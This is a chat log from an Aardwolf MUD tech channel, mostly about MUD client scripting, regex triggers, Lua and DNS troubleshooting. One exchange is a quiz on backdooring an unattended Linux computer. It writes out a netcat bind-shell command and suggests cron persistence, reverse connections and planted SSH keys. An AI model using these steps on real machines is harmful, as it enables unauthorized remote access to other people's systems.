T3/r7/2013-02-02.txt.gz:{chan ch=tech}BobTheGreat Tech: I actually would have used the functions list, but it slipped my mind while I was asking the original question
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Scars Tech: okay, got notice that there is a new version of the aardclient... is there something fancy about this updating process?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: when you go to aard's main website and click the screenshot, then download, that page explains it pretty well :-)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Scars Tech: yeah, sort of expected an explanation when i was taken to a webpage to download the update
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Scars Tech: didn't think of that
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: iirc you're now using a really-recent version already, so just moving the state files is fine
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Scars Tech: ...the state files... ?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: it'll mention those on the page, with a caveat that really-old to new might not want to move them
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Scars Tech: noted
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: I think Fiendish said that the last time he did an update which would've introduced new stuff to the state files was like a year ago
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Scars Tech: thanks a bunch, i'll go into full fledged panic mode if this doesn't work
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: well, no need to panic...don't overwrite your current folder, just downlaod a new folder totally separately
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: can call it MUSHclient-1234 (version number) to keep 'em straight
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: I see this version has a nice quick fix to the issue garamis had on tech board the other day :-)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: ack got a bad item requesting inventory data for inventory how do I turn it off?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Bast Tech: did you get the error once, or is it doing it all the time?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: all of the time
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Bast Tech: restart mushclient
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: will do..... just started it up.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: oh that worked
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Bast Tech: it happens sometimes, I haven't been able to pin it down
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: Cizra heard a super cool quiz today. Suppose you see someone leave their Linux computer for 5 minutes. How do you set up a backdoor in a couple of minutes?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Vost Tech: dual boot Windows?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Jhav Tech: Takes more than a couple minutes, especially if they don't have an ntfs partition.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Vost Tech: yeah, I know :-) 
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Stikla Tech: set up a remote shell with netcat, and a cron job to keep it active
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Cizra Tech: Good direction! However, how can you attach netcat to a shell?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Stikla Tech: nc -e /bin/sh -l -p 8888
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Trachx Tech: cannot you just add root account ?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Cizra Tech: Ahhh, right! My solution involved socat EXEC
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Stikla Tech: could if the user was dumb enough to be logged in as root
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Trachx Tech: what about reboot and then passing init=/bin/bash to kernel ?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Cizra Tech: Trachx, a root account is not the same as a backdoor :-)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Trachx Tech: yes, but how do you connect to that port 8888 ?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Trachx Tech: I mean you have also open port in firewall, for that you need root access
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Cizra Tech: Umm, with another, remote netcat?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Cizra Tech: oh, well, yes
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Cizra Tech: But by default, operating systems tend to come firewallless.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Trachx Tech: also, probably you would have to change selinux mode to permissive
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Stikla Tech: heh  I am not about to go into an in depth hacking tutorial.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Trachx Tech: you probably would need rather something more active - I mean not just use netcat to listen, but rather to connect to remote host - that way you will pass incoming firewall protection
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Trachx Tech: it could be much easier (or more effective) to add ssh authorized key, so you could log on as usually ssh sessions are not firewalled
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Polgana Tech: If I want to list all mobs in an area on duckbat is it just "+mob +area"?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: first search for the areaname itself and look at the details
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: you'll need the number from the "Entry" field
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: then it's &area=THATnumber
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: anyone use android client?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Polgana Tech: Thanks
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: a fair number of people use blowtorch, yes (aardwolf RPG is blowtorch pre-setup for Aard)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: anyone use android client?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Not regularly.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Book of Etzli Tech: You're better off asking the question, though.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: Probably better to just ask your question.  Several people do, and several people have at some point or another in the past.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: im tryinh yo capture tells in the notification
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: to*
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Book of Etzli Tech: What do you mean?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: once a tell shows up i want the notification bar to show the tell
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: are you using ongoing notification or "spawn new notification"?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: I don't know that the ongoing notification ever worked
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: spawn
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: What problem are you having?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: i have ^(.+) tells you '^(.+)'$
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: the out put as $1 $2 but nothing displays
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Nocilis Tech: do you have catchtell on?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: nope
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: The second ^ doesn't need to be there
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Nocilis Tech: make sure you have the literal checkbox unticked
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Nocilis Tech: that too
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: the ^ basically means "Only match when the beginning of what the mud sent me is here"
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: ahh that was the problem
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: works now :)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: mind you, with that particular pattern, even the first ^ is meaningless
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: Here's a fake tells you 'stuff was said.'
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: trigger abuse, nuke
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: yea i see
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: any time you're starting a line with an "accept any amount of anything" wildcard (which is what .* or .+ does), you're negating the reason to use ^
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: If you turn "tags tells on", it'll add some tags to tells, which you can use to make sure you're not capturing stuff besides tells.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Leinei Tech: Will also keep it from going off when you're checking tell history.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Nocilis Tech: or when you get a quest from questor
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: ahh that was the problem
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: try this after turning on tell tags: ^[{]tell[}](.*?) tells you '(.*?)'$
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: y u r play w my trigz
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: cuz u r bad at ritin em
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: y?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: no u r
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: they are kinda jumbled aswell, every time you do that I complete a campaign
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: if i wuz, min wud be messd wit
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: thanks abelinc that works perfect 
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: my pleasure :-)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: thank goodness for that
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: Gregor why dont you fix yours with he posted?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: greg's just messing around
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Book of Etzli Tech: He's just likely being a troll.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: I'm actually not
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Monsttro Tech: k
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: I know it's pretty bad the trigger I wrote. I have a sound trigger. My speakers are the other side of the room and for some reason unbeknownst to me they are turned up bloody loud.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Book of Etzli Tech: That's always fun.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: good thing the computer volume isn't on the other side of the room
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: Yeah, I guess I need keyboard shortcuts though
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: seeing as my mouse is buried in a huge pile of wires 
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: everything has keyboard shortcuts :-)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: windows key, control panel, arrows to get to sound
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: don't you hate that when you leave a pile of wires on the floor in a neat an orderly fashion. Then the next morning they are a gigantic ball of pure anarchy.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: btw, I'm running linux
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: even better...sysctl
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: what?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: don't I need a terminal for that
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: you've got one
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: how to open terminal with keyboard shortcuts?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: you've actually got 3, normally
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: try alt-f1
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: just remember alt-f<later numbers...last one returns you to X>
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: nothing, I'm runnin wattOS btw, it's very similar to ubuntu
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: tbh it's not a big deal so long as no-one sends me any tells
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: how the hell is MUSH so loud
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Jedhi Tech: loud?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: NO PLEASE STOP SENDING ME TELLS
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: ok deaf mode on
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: problem solved, I didn't want to talk to anyone anyway
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: ctrl-shift-8, tab until enable trigger sounds is selected, then space, then enter ;-)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Turie Tech: Type hearfriends and they will send you tells.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: I do not want to disable trigger sounds
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: thanks tho
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: I could go across the other side of the room but I'm too tired
T3/r7/2013-02-02.txt.gz:{chan ch=tech}GraySong Gregor Tech: I'm avoiding questing because otherwise in half an hour the wolf trigger will be deafening
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: okay what is the syntax for removing the spaces at the end of a string variable
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Prince Wario Tech: what the heck is a string variable?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: words
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: im more used to pascal than lua
T3/r7/2013-02-02.txt.gz:{chan ch=tech}BobTheGreat Tech: lua's string might have a trim function
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Prince Wario Tech: whew I thought it was something you wear
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: O.o
T3/r7/2013-02-02.txt.gz:{chan ch=tech}BobTheGreat Tech: This IS the tech channel :p
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: thanks bob, ill have a look
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: okay ive got multiple alias's, i am having trouble stringing them together with, say 1 command
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Riddim Tech: if you're using mushclient, the aliases that call other aliases need to send to execute
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: k thanks
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Redryn Tech: is there any script out there that gags notes from selected individuals?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: i havent found one yet
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Is there database access to duckbat in much the same way there is for iwuvaard?  Or any sort of API that I can access from the command line?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: although you could use a command-line browser command to craft a URL with the query terms
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Is there a compendium of mud responses, such as all the options for consider, or skill up message, level up etc.. Or do I have just have to dig them out of an existing script?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: wiki's got a mudmessages page
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Nocilis Tech: help consider has all the output messages
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: If I'm writing a consider script does it make sense to turn on and off the trigger capture when I con things, or just leave it on all the time?  Does it make any diffrence?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cizra Tech: I turn off unused triggers.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Redryn Tech: it doesn't really matter
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cizra Tech: No chance for them to fire in a bad time (eg. reading a note), and secondly, I suspect the MUD client will be faster with less active triggers.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Redryn Tech: but good practice is to disable triggers when they're not being used
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: How do I escape a colon in a channel comment (AardMUSH)?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Nocilis Tech: semi colon?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: i dont understand what you mean, is this in regex?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: If you mean at the very beggining of the line, it's not MUSH that eats it, it's the MUD
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Redryn Tech: ;;
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: oh, for semicolon, if you start the whole line with one, it'll ignore any other ones
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: using a : at the beginning of a line on the channel, the mud interprets it as a emote
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Redryn Tech: wait what are you trying to do
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Leinei walks around in the room, looking very confused.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: so ;tech Hey guys, here is a line ; and here is another
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: I cannot put a colon in a comment, it is interpreted as a social. A good old smily comes out -)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: what are you trying to do with it
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: that's not mush, that's aard
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Redryn Tech: :) this?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: you simply cannot normally start a channel with colon
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: you can double the : at the start...tech ::)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: you can also so stuff using @, but that's a kind of hack
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: like this ::-) ?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: You can also put some invalid color code at the beginning: tech :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: You nod at Leinei.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Arnica )
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Arnica :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Oh, and I meant tech @u:)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: there ya go
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Redryn Tech: :) looks better than ::) imo
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: :O
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: I wear glasses
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in cmud i use %word( %db(@ExpTracker_DB,epochexpand), 1, "|") to grab the # word in a string (which is cmud is item|item2) so the code would pull item, is there something like that in lua?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Hadar, you might want named wildcards in regex
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: would not know how to do that with lua, im still trying to learn
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Start here: http://www.regular-expressions.info/
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: And here: http://regexpal.com/
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Something like (\w+\s+){3}(?P<foo>\w+).* would capture the 4th word into the variable foo, for example.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Not sure that naming syntax is exactly right, but it should be close
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Then put it into practice with here: http://www.gammon.com.au/forum/?id=5089
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: And then once you know it, there is the reference here: http://www.gammon.com.au/mushclient/regexp.htm
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im still using cmud, just wanted to know if there was a lua version, when its parsing through cmud i can use the old method
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: can also use string.gmatch() to get an iterator that will iterate over each word
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: for foo in string.gmatch("Fee Fi Fo Fum", "%a+") do Note(word) end
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Would print each word one by one.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Wouldn't be too hard to grab the third word from that
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: er, Note(foo), that should be
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Quick q for peeps that might know more than me - would it be more efficient to store a size-constant list of integers in individual fields in an sql db, or pop them in as a text string and parse it with Lua when needed?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: depends
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: whats the size of the list
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: 33 elements
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: ugh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ranrr Tech: Store them as a list of integers.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Scurvy Tech: that's barely any, text will be fine
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Could possibly be split into thematic divisions of 11 and 22
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: But I envision a lot of cases where I will need to do comparing based on a single element against a set
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: ouch
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: I know, right? :-P
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Scurvy Tech: sql then, geeze
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ranrr Tech: I vote for set or list.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Does it really matter?  It's going to take a couple of milliseconds either way :P
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: oracle is free for your own use 
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: yeah, just a matter of how cray you want your queries to be
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Leinei, potentially getting into the tens of thousands of total rows
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: And it's for a Mushclient plugin, so sqlite only for my own sanity :D
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: mo ram mo ram!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Oh, was misinterpreting it as you only having a single list.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Oh hell no, single list wouldn't even bother with a db
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: More I think of it, more I think I might even need to sort the db by elements... seems sql fields going to be the only option
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: A real man could sort a text string of numbers.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Leinei coughs loudly.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Not sorting the string, sorting the elements based on what their particular values are vs each other in a particular element in the string
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: a1 a2 a3 a4 a5
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: There any way to search your news feed on facebook?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: There was a picture a few days ago, and trying to find it again
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Trachx Tech: check browser history
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Jaenelle Tech: Do you know who posted it? You can check their posts in that case (sometimes easier than searching through your own)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: I mean, I could just keep clicking 'older stories' over and over
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: but hoping for something better
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cody Tech: nothing better
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: well, could put your login/password on your facebook, and ask for someone to search it for you =p
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Then proceeded to claim we were infringing on his freedom of religion by not complying
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Daloran peers intently at Vakieh.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cody Tech: well actually
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: hmm, any way to see news feed about a specific person, without putting them into a group?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: mios
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: mis, even
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: I can pick a group, and only see news feed about them
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: but don't see how to do it for a specific person
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cody Tech: go to their page?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Leinei goes, "Hmmmm."
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Was thinking those would be different, but maybe not
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Ooh, my activity log shows a history of stuff I clicked like on.  That works.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Since I couldn't remember who posted it.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: This is really strange. Overnight, my Internet went from working perfectly to having limited access. The little icon on the bottom right notes that I've got access. I can use zMUD to connect to Aardwolf. However, both Chrome and Firefox are returning errors (Chrome gives me Error 105, ERR_NAME_NOT_RESOLVED). I'm logged in on Skype and Windows Live.  Torrents don't appear to be working.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: I've tried restarting both the router and the modem to no avail.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: DNS server down?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: Not using a DNS. Unless my ISP randomly auto-DNS:es people.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: so you don't visit web sites, you type in their ip address directly?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: I can still use Safari on my iPhone, BTW.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: Wait... I think I know what's wrong.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: raise a ticket
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Your ISP's DNS server is what resolves the domains (eg. yahoo.com) into an IP address.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: That's what it sounds like to me
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: Stupid ISP then.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: like...name a website that you can't go to in firefox
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: Do iPhones use separate DNS servers automatically or something? Because I can still surf using Safari on my iPhone (while it's connected to my modem).
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: possibly
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sonshi Tech: can you go to http://173.194.75.105/ ?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sonshi Tech: if you can, maybe set another dns server?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: yup
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sonshi Tech: if that works, search for google's dns server and use that or something.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: http://173.194.75.105/ worked. Does that mean my ISP's DNS is down?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sonshi Tech: must be
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Your iPhone.. you have a data connection? Your cellular providor likely has DNS servers for their mobile devices..
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: Anyone got any handy?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sonshi Tech: used to happen to me, so I switched to google. Though this means that google might know where I'm visiting...
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: (I'm currently got my iPhone connected to my home network. It must be using some wonky settings, though, since it's working)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sonshi Tech: type in google dns, the address and directions must be there somewhere
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: google dns is 8.8.8.8 and 8.8.4.4 IIRC
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: 8888, 8844
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Just because its connected to your network doesn't mean its not still connected to your isps
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: rather, your cell providors
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: who is your isp?
